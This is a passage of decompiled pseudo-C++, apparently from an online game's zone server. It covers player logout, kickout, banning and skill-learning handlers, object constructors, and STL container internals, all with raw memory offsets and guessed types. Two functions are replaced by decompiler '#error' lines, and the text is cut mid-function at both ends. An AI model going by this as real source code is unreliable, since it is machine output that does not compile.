(std::_Tree_nod,std::allocator,0> >::_Node *)v6; } else { _Wherenode->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; v9 = v5->_Myhead; if ( _Wherenode == v9->_Right ) v9->_Right = (std::_Tree_nod,std::allocator,0> >::_Node *)v6; } } v10 = (int)&v6->_Parent; v11 = v6; if ( !v6->_Parent->_Color ) { while ( 1 ) { v12 = *(_DWORD *)v10; v13 = *(_DWORD *)(*(_DWORD *)v10 + 4); v14 = *(_DWORD *)v13; if ( *(_DWORD *)v10 == *(_DWORD *)v13 ) { v14 = *(_DWORD *)(v13 + 8); if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)(v12 + 8) ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } else { if ( *(_BYTE *)(v14 + 16) ) { if ( v11 == *(std::_Tree_nod,std::allocator,0> >::_Node **)v12 ) { v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)v10; std::_Tree_std::allocator_0>>::_Rrotate( (std::_Tree,std::allocator,0> > *)v5, *(std::_Tree_nod,std::allocator,0> >::_Node **)v10); } v11->_Parent->_Color = 1; v11->_Parent->_Parent->_Color = 0; std::_Tree_std::allocator_0>>::_Lrotate( (std::_Tree,std::allocator,0> > *)v5, v11->_Parent->_Parent); goto LABEL_22; } } *(_BYTE *)(*(_DWORD *)v10 + 16) = 1; *(_BYTE *)(v14 + 16) = 1; *(_BYTE *)(*(_DWORD *)(*(_DWORD *)v10 + 4) + 16) = 0; v11 = *(std::_Tree_nod,std::allocator,0> >::_Node **)(*(_DWORD *)v10 + 4); LABEL_22: v10 = (int)&v11->_Parent; if ( v11->_Parent->_Color ) { v6 = _Vala; break; } } } v15 = result; v5->_Myhead->_Parent->_Color = 1; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v15; } // 5E86CC: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (005019E0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 unsigned int *v3; // ecx@3 int v4; // ebx@3 int v5; // eax@4 void *v6; // eax@7 void *v7; // edi@7 std::list,std::allocator > >::iterator *v8; // ST04_4@7 std::list,std::allocator > >::iterator *v9; // ST00_4@7 unsigned int *v10; // eax@7 int v11; // [sp-Ch] [bp-20h]@1 void *_Ptr; // [sp+0h] [bp-14h]@7 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 unsigned int _Counta; // [sp+1Ch] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0x3FFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = v2->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 4 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = (std::list,std::allocator > >::iterator *)v2->_Mylast; v9 = (std::list,std::allocator > >::iterator *)v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::const_iterator_GUILD_TOURNAMENT_LVGAP_const_____std::allocator>( v9, v8, (std::list,std::allocator > >::iterator *)v6, (std::allocator,std::allocator > >::iterator> *)v2, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) operator delete(v2->_Myfirst); v2->_Myend = (unsigned int *)((char *)v7 + _Counta); v2->_Mylast = (unsigned int *)((char *)v7 + 4 * v4); v2->_Myfirst = (unsigned int *)v7; } } //----- (00501AB0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 Observer *v3; // edx@3 int v4; // edi@3 signed int v5; // ecx@4 void *v6; // eax@7 void *v7; // ebx@7 Observer *v8; // ST04_4@7 Observer *v9; // ST00_4@7 Observer *v10; // eax@7 int v11; // [sp-Ch] [bp-20h]@1 void *_Ptr; // [sp+0h] [bp-14h]@7 int *v13; // [sp+4h] [bp-10h]@1 int v14; // [sp+10h] [bp-4h]@7 unsigned int _Counta; // [sp+1Ch] [bp+8h]@7 v13 = &v11; v2 = this; if ( _Count > 0xFFFFFFF ) std::vector>::_Xlen(this); v3 = this->_Myfirst; v4 = 0; if ( v3 ) v5 = this->_Myend - v3; else v5 = 0; if ( v5 < _Count ) { _Counta = 16 * _Count; v6 = operator new(_Counta); v7 = v6; v8 = v2->_Mylast; v9 = v2->_Myfirst; _Ptr = v6; v14 = 0; std::_Uninit_copy>::iterator_Observer___std::allocator>( v9, v8, (Observer *)v6, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Counta); v10 = v2->_Myfirst; v14 = -1; if ( v10 ) v4 = v2->_Mylast - v10; if ( v10 ) { std::vector>::_Destroy(v2, v10, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (Observer *)((char *)v7 + _Counta); v2->_Mylast = (Observer *)((char *)v7 + 16 * v4); v2->_Myfirst = (Observer *)v7; } } //----- (00501BA0) -------------------------------------------------------- std::pair,std::allocator,0> >::iterator,bool> *__thiscall std::_Tree_std::allocator_0>>::insert(std::_Tree,std::allocator,0> > *this, std::pair,std::allocator,0> >::iterator,bool> *result, const unsigned int *_Val) { const unsigned int *v3; // ebp@1 std::_Tree,std::allocator,0> > *v4; // edi@1 std::_Tree_nod,std::allocator,0> >::_Node *v5; // esi@1 std::_Tree_nod,std::allocator,0> >::_Node *v6; // eax@1 bool v7; // cl@1 const unsigned int v8; // edx@2 const unsigned int *v9; // edx@7 int v10; // edx@9 std::pair,std::allocator,0> >::iterator,bool> *v11; // eax@9 int v12; // ecx@12 char _Addleft; // [sp+Ch] [bp-4h]@1 v3 = _Val; v4 = this; v5 = this->_Myhead; v6 = v5->_Parent; v7 = 1; _Addleft = 1; if ( !v6->_Isnil ) { v8 = *_Val; do { v7 = v8 < v6->_Myval; v5 = v6; _Addleft = v8 < v6->_Myval; if ( v8 >= v6->_Myval ) v6 = v6->_Right; else v6 = v6->_Left; } while ( !v6->_Isnil ); } v9 = (const unsigned int *)v5; _Val = (const unsigned int *)v5; if ( v7 ) { if ( v5 == v4->_Myhead->_Left ) { v10 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, 1, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; result->second = 1; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v10; return v11; } std::_Tree_std::allocator_0>>::const_iterator::_Dec((std::_Tree,std::allocator,0> >::const_iterator *)&_Val); v9 = _Val; } if ( v9[3] >= *v3 ) { v11 = result; result->second = 0; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v9; } else { v12 = *(_DWORD *)&std::_Tree_std::allocator_0>>::_Insert( v4, (std::_Tree,std::allocator,0> >::iterator *)&_Val, _Addleft, v5, v3)->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v11 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v12; result->second = 1; } return v11; } //----- (00501C60) -------------------------------------------------------- #error "501C60: undefined or illegal type '#325' (funcsize=159)" //----- (00501ED0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Kickout(void *this) { void *v1; // esi@1 int v2; // eax@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; (*(void (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 828))(v1); v2 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 17); if ( !(_BYTE)v2 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v2); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout"); return 1; } //----- (00501FA0) -------------------------------------------------------- signed int __thiscall ShineObjectClass::ShinePlayer::sp_Schedule_Logout(void *this) { void *v1; // esi@1 char *v2; // edi@3 ZoneBaseSession *v3; // eax@5 int v4; // eax@6 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 380))(v1) ) { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD, _DWORD))(*(_DWORD *)v1 + 828))(v1, 0, 1, 9); v2 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 3121; *((_WORD *)v2 + 1) = -1; *((_DWORD *)v2 + 1) = -1; *(_DWORD *)(v2 + 10) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 836))(v1); *((_WORD *)v2 + 4) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 832))(v1); if ( ProtocolPacket::pp_SetPacketLen(&gpp, 14) ) { v3 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v3); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout : Packet Too Long", 14); } v4 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v1 + 2), 0, 18); if ( !(_BYTE)v4 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v4); *(_DWORD *)(*((_DWORD *)v1 + 5904) + 4) = 3; } else { ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v1 + 92164), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))&ShineObjectClass::ShinePlayer::sp_Schedule_Logout, 0, TSCW_LOGOUT, 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_Schedule_Logout"); return 1; } //----- (00502110) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTREADY_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S87_1 & 1) ) { _S87_1 |= 1u; cmc_77.cmc_AllowMode = 126; atexit(_E88_2); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_77.cmc_AllowMode ) { ShineObjectClass::ShinePlayer::TimeScheduler::ts_Set( (ShineObjectClass::ShinePlayer::TimeScheduler *)((char *)v4 + 92164), (ShineObjectClass::ShinePlayer::TimeScheduler::TS_ReturnType (__thiscall *)(#434 *))ShineObjectClass::ShinePlayer::sp_Schedule_Logout, 0, TSCW_LOGOUT, 13000); *((_DWORD *)v4 + 23046) = clockwatch.cw_CurrTick + 80; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_CHAR_LOGOUTCANCEL_CMD"); } //----- (00502210) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( !(_S91 & 1) ) { _S91 |= 1u; cmc_78.cmc_AllowMode = 126; atexit(_E92_0); } if ( (1 << **((_BYTE **)v4 + 929)) & cmc_78.cmc_AllowMode && clockwatch.cw_CurrTick > *((_DWORD *)v4 + 23046) ) ShineObjectClass::ShinePlayer::sp_Schedule_Logout(v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_USER_NORMALLOGOUT_CMD"); } //----- (00502300) -------------------------------------------------------- #error "502300: undefined or illegal type '#325' (funcsize=111)" //----- (005024B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineAxialFlag::ShineAxialFlag(ShineObjectClass::ShineAxialFlag *this) { ShineObjectClass::ShineAxialFlag *v1; // esi@1 v1 = this; ShineObjectClass::ShineObject::ShineObject((int)this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineAxialFlag::_vftable_; v1->safm_vecRoutions._Myfirst = 0; v1->safm_vecRoutions._Mylast = 0; v1->safm_vecRoutions._Myend = 0; v1->safm_Screen = 0; *(_DWORD *)&v1->gap0[82] = (char *)v1 + 118; *(_DWORD *)&v1->gap0[78] = (char *)v1 + 110; } // 5D25B0: using guessed type int (*ShineObjectClass__ShineAxialFlag___vftable_)(); //----- (00502510) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::ShinePlayer(void *hd) { int v1; // esi@1 int v2; // eax@1 CParty::PARTY_SLOT *v3; // eax@1 int v4; // ecx@1 v1 = (int)hd; ShineObjectClass::ShineMobileObject::ShineMobileObject(hd); *(_DWORD *)v1 = &ShineObjectClass::ShinePlayer::_vftable_; ItemLotInspector::ItemLotInspector((ItemLotInspector *)(v1 + 7392)); *(_DWORD *)(v1 + 23321) = 0; *(_DWORD *)(v1 + 23317) = 0; *(_DWORD *)(v1 + 23313) = 0; *(_DWORD *)(v1 + 23309) = 0; TargetAnalyser_Player::TargetAnalyser_Player((TargetAnalyser_Player *)(v1 + 23620)); *(_DWORD *)(v1 + 23628) = &PacketContainer::_vftable_; *(_DWORD *)(v1 + 23632) = 0; *(_DWORD *)(v1 + 31828) = 0; MoveManager::MoveManager((DiceTaiSai *)(v1 + 31840)); BriefInformationCharacter::BriefInformationCharacter((BriefInformationCharacter *)(v1 + 31844)); PineScriptToken::pst_Clear((PineScriptToken *)(v1 + 32014)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 32015)); *(_DWORD *)(v1 + 32037) = 0; *(_DWORD *)(v1 + 32033) = 0; *(_DWORD *)(v1 + 32029) = 0; *(_DWORD *)(v1 + 32025) = 0; *(_DWORD *)(v1 + 32087) = 0; *(_DWORD *)(v1 + 32083) = 0; *(_DWORD *)(v1 + 32079) = 0; *(_DWORD *)(v1 + 32152) = 0; *(_DWORD *)(v1 + 32148) = 0; *(_BYTE *)(v1 + 32140) = 0; CharacterInventory::CharacterInventory((CharacterInventory *)(v1 + 32168)); InventoryLocking::InventoryCellLockList::InventoryCellLockList((InventoryLocking::InventoryCellLockList *)(v1 + 57736)); NormalAttackDamageDelay::NormalAttackDamageTick::NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(v1 + 66012)); ShineQuestDiary::ShineQuestDiary((ShineQuestDiary *)(v1 + 66032)); CharaterSkillList::CharaterSkillList((CharaterSkillList *)(v1 + 68220)); CharacterPassiveList::CharacterPassiveList((CharacterPassiveList *)(v1 + 68240)); AllOfRangeArgument::AllOfRangeArgument((AllOfRangeArgument *)(v1 + 68275)); ShineObjectClass::ShinePlayer::NPCProcess::NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(v1 + 68304)); ItemAccountStorage::ItemAccountStorage((ItemAccountStorage *)(v1 + 69432)); ItemRewardStorage::ItemRewardStorage((ItemRewardStorage *)(v1 + 86144)); BriefInfoBackup::BriefInfoBackup((BriefInfoBackup *)(v1 + 89024)); TreasureChestLocationManager::TreasureChestLocationManager((TreasureChestLocationManager *)(v1 + 89150)); StreetBoothSell::StreetBoothSell((StreetBoothSell *)(v1 + 89176)); StreetBoothBuy::StreetBoothBuy((StreetBoothBuy *)(v1 + 89544)); CCharacterTitleZone::CCharacterTitleZone((CCharacterTitleZone *)(v1 + 89920), &gCharacterTitleData); Metronome::Metronome((Metronome *)(v1 + 91044)); ChargedItemEffectList::ChargedEffectList::ChargedEffectList((ChargedItemEffectList::ChargedEffectList *)(v1 + 91072)); CChargedItem::CChargedItem((CChargedItem *)(v1 + 91736)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 92160)); MoveManager::MoveManager((DiceTaiSai *)(v1 + 92161)); ShineObjectClass::ShinePlayer::TimeScheduler::TimeScheduler((ShineObjectClass::ShinePlayer::TimeScheduler *)(v1 + 92164)); HuntLog::MobHuntLog::MobHuntLog((HuntLog::MobHuntLog *)(v1 + 92200)); *(_DWORD *)(v1 + 92580) = 0; *(_DWORD *)(v1 + 92584) = 0; *(_DWORD *)(v1 + 92588) = 0; MobTargetAggresive::MobTargetAggresive((MobTargetAggresive *)(v1 + 92596)); *(_DWORD *)(v1 + 92596) = &MobTargetPlayerCaptivate::_vftable_; SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob((SpyNet::IntelligenceOffice4Mob *)(v1 + 92672)); *(_DWORD *)(v1 + 66004) = ShineObjectClass::ShinePlayer::sp_PointStone_NotInit; *(_DWORD *)(v1 + 65996) = ShineObjectClass::ShinePlayer::sp_PointStone_NotInit; *(_DWORD *)(v1 + 32152) = v1; CQuestZone::qz_SetObject((CQuestZone *)(v1 + 66032), (#434 *)v1); CCharacterTitleZone::ctz_SetObject((CCharacterTitleZone *)(v1 + 89920), (#325 *)v1); *(_DWORD *)(v1 + 89172) = &ShineObjectClass::ShinePlayer::BoothSell::board; InventoryLocking::InventoryCellLockList::icll_SetObject( (InventoryLocking::InventoryCellLockList *)(v1 + 57736), (#434 *)v1); PacketContainer::pcb_SetSocketSession((ORField *)(v1 + 23620), (ORColumnHeader *)v1); v2 = *(_DWORD *)(v1 + 32010); *(_DWORD *)(v1 + 3716) = v2 + 27; *(_DWORD *)(v1 + 94) = v1 + 89142; *(_DWORD *)(v1 + 78) = v2 + 18; *(_DWORD *)(v1 + 136) = v1 + 23620; *(_DWORD *)(v1 + 82) = v2 + 26; *(_DWORD *)(v1 + 89142) = 0; *(_BYTE *)(*(_DWORD *)(v1 + 94) + 4) = 0; *(_DWORD *)(v1 + 23616) = &ShineObjectClass::ShinePlayer::sp_defaultsocket; *(_DWORD *)(v1 + 31836) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; *(_DWORD *)(v1 + 31832) = &ShineObjectClass::ShineObject::so_dummypacketcontainer; *(_WORD *)(v1 + 89904) = 8254; *(_WORD *)(v1 + 89908) = 0; *(_WORD *)(v1 + 89906) = 0; ShineObjectClass::ShinePlayer::so_ply_MH_SetMyHandle(v1, -1); *(_WORD *)(v1 + 23606) = -1; *(_DWORD *)(v1 + 23608) = 0; *(_DWORD *)(v1 + 92236) = 0; v3 = CParty::p_defaultslot(&partycontainer); v4 = *(_DWORD *)(v1 + 32010); *(_DWORD *)(v1 + 88932) = v3; LOBYTE(v3) = *(_BYTE *)(v1 + 23281) & 0xFB; *(_DWORD *)(v1 + 92280) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; *(_BYTE *)(v1 + 92284) = 0; *(_DWORD *)(v1 + 92592) = 0; *(_BYTE *)(v1 + 92285) = 0; *(_BYTE *)(v1 + 23281) = (_BYTE)v3; *(_BYTE *)(v4 + 145) = 0; *(_DWORD *)(v1 + 23344) = 0; *(_DWORD *)(v1 + 23348) = 0; ShineObjectClass::ShinePlayer::so_ply_MH_InitFurnitureEmotionInfo(v1); std::vector>::reserve( (std::vector > *)(v1 + 92576), 0xAu); *(_BYTE *)(v1 + 23281) &= 0xE7u; ShineObjectClass::ShinePlayer::so_SetSpamerChatBan(v1, 0); return v1; } // 5CED30: using guessed type int (__stdcall *PacketContainer___vftable_)(int hd); // 5CFBD0: using guessed type int (__stdcall *MobTargetPlayerCaptivate___vftable_)(int, #325 *pObj, int distancesquar); // 5D5210: using guessed type int (*ShineObjectClass__ShinePlayer___vftable_)(); // 610228: using guessed type int (__stdcall **ShineObjectClass__ShineObject__so_dummypacketcontainer)(int sklidx); // 124D2458: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (00502910) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_banning(void *this, int when) { void *v2; // esi@1 int v3; // edx@3 int v4; // eax@3 ShineObjectClass::RemoveWhen v5; // [sp+1Ch] [bp+0h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_banning"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_banning"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 1136))(v2) ) (*(void (__thiscall **)(void *))(*(_DWORD *)v2 + 2228))(v2); *(_DWORD *)(*((_DWORD *)v2 + 5904) + 4) = 3; v3 = *(_DWORD *)v2; *((_BYTE *)v2 + 92572) = 1; (*(void (__thiscall **)(void *))(v3 + 828))(v2); v4 = (unsigned __int8)ShineObjectManager::som_FreeObject(&shineobjmanager, *((_WORD *)v2 + 2), v5, 16); if ( !(_BYTE)v4 ) AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_Schedule_Kickout : Fail to object free", v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_banning"); } //----- (00502A10) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_LearnSkill(int this, unsigned __int16 skill) { int v2; // esi@1 v2 = this; CharaterSkillList::csl_Learn((CharaterSkillList *)(this + 68220), skill); *(_DWORD *)(v2 + 32114) |= 1u; } //----- (00502A30) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_Learn(CharaterSkillList *this, unsigned __int16 skill) { unsigned int v2; // edi@1 CharaterSkillList *v3; // esi@1 int v4; // ebx@1 SkillDataBox::SkillDataIndex *v5; // eax@1 ActiveSkillInfo *v6; // eax@3 char v7; // cl@3 const char *v8; // eax@3 CharaterSkillList::CharSkill *v9; // eax@5 std::vector >::iterator v10; // edi@6 CharaterSkillList::CharSkill SkillInfo; // [sp+10h] [bp-14h]@6 v2 = clockwatch.cw_CurrTick; v3 = this; v4 = 0; v5 = SkillDataBox::operator__(&skilldatabox, skill); if ( v5 ) { v6 = v5->sdi_Activ; v7 = v6->DemandSk[0]; v8 = v6->DemandSk; if ( v7 != 45 ) { *(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, v8); if ( CharaterSkillList::csl_IsLearn(v3, skillbtreeunion) ) { v9 = CharaterSkillList::csl_GetSkillStruct(v3, skillbtreeunion); v2 = v9->cs_EndOfCooltime; v4 = v9->cs_bSave; } } SkillInfo.cs_SkillId = skill; SkillInfo.cs_EndOfCooltime = v2; SkillInfo.cs_bSave = v4; SkillInfo.cs_Empower._bf0 = 0; SkillInfo.cs_Mastery = 0; std::vector>::push_back( &v3->csl_Skill, &SkillInfo); v10 = (std::vector >::iterator)v3->csl_Skill._Mylast; ++v3->csl_SkillNumber; std::_Sort>::iterator_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v3->csl_Skill._Myfirst, v10, (signed int)(*(_DWORD *)&v10 - (unsigned int)v3->csl_Skill._Myfirst) / 20, CharaterSkillList::CharSkill::cs_Compare_STLVer); } else { AssertClass::ac_AssertFail( &shineassert, "void CharaterSkillList::csl_Learn(ShineSkillID skill) NotFind Skill ID ", skill); } } //----- (00502B20) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, CharaterSkillList::CharSkill *_Val) { std::vector > *v2; // esi@1 CharaterSkillList::CharSkill *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 CharaterSkillList::CharSkill *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00502BB0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, CharaterSkillList::CharSkill *_Val) { std::vector > *v4; // edi@1 CharaterSkillList::CharSkill *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (00502C20) -------------------------------------------------------- void *__thiscall ShineObjectClass::ShineMob::ShineMob(void *hd) { void *v1; // esi@1 int v2; // eax@1 v1 = hd; ShineObjectClass::ShineMobileObject::ShineMobileObject(hd); *(_DWORD *)v1 = &ShineObjectClass::ShineMob::_vftable_; Metronome::Metronome((Metronome *)((char *)v1 + 7388)); TargetAnalyser_Player::TargetAnalyser_Player((TargetAnalyser_Player *)((char *)v1 + 7396)); MoveManager::MoveManager((DiceTaiSai *)((char *)v1 + 7408)); BriefInformationMob::BriefInformationMob((BriefInformationMob *)((char *)v1 + 7424)); *(_DWORD *)((char *)v1 + 7522) = 0; *(_DWORD *)((char *)v1 + 7518) = 0; *(_DWORD *)((char *)v1 + 7514) = 0; *((_DWORD *)v1 + 1887) = 0; *((_DWORD *)v1 + 1888) = 0; *((_DWORD *)v1 + 1889) = 0; MobTacticElement::MobActionArgument::Selector::Selector((MobTacticElement::MobActionArgument::Selector *)((char *)v1 + 7592)); MobTacticElement::MobActionArgument::Actor::Actor((MobTacticElement::MobActionArgument::Actor *)((char *)v1 + 8212)); HitMeList::EnemyList::EnemyList((HitMeList::EnemyList *)((char *)v1 + 8384)); *((_DWORD *)v1 + 2210) = 0; *((_DWORD *)v1 + 2211) = 0; *((_DWORD *)v1 + 2212) = 0; TickTimer::TickTimer((TickTimer *)v1 + 739); PacketContainer::pcb_SetSocketSession((ORField *)((char *)v1 + 7396), (ORColumnHeader *)v1); v2 = *(_DWORD *)((char *)v1 + 7510); *(_DWORD *)((char *)v1 + 78) = v2 + 5; *((_DWORD *)v1 + 34) = (char *)v1 + 7396; *(_DWORD *)((char *)v1 + 82) = v2 + 13; *((_DWORD *)v1 + 1001) = charclassmanager.ccm_array[26]; *((_DWORD *)v1 + 929) = v2 + 2; *(_DWORD *)((char *)v1 + 8817) = v1; *(_DWORD *)((char *)v1 + 8813) = v1; *((_DWORD *)v1 + 2216) = 0; std::vector>::reserve( (std::vector > *)((char *)v1 + 7544), 8u); return v1; } // 5D3020: using guessed type int (*ShineObjectClass__ShineMob___vftable_)(); //----- (00502D80) -------------------------------------------------------- void __thiscall ShineObjectClass::ShineBandit::ShineBandit(ShineObjectClass::ShineBandit *this) { ShineObjectClass::ShineBandit *v1; // esi@1 PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *v2; // eax@1 v1 = this; ShineObjectClass::ShineMob::ShineMob(this); *(_DWORD *)&v1->gap0[0] = &ShineObjectClass::ShineBandit::_vftable_; BriefInformationCharacter::BriefInformationCharacter(&v1->sb_MobBriefInfo); v2 = v1->sb_MobBriefInfo.bic_BriefInfo; *(_DWORD *)&v1->gap0[78] = (char *)v2 + 18; *(_DWORD *)&v1->gap0[3716] = (char *)v2 + 27; *(_DWORD *)&v1->gap0[82] = (char *)v2 + 26; } // 5D3B70: using guessed type int 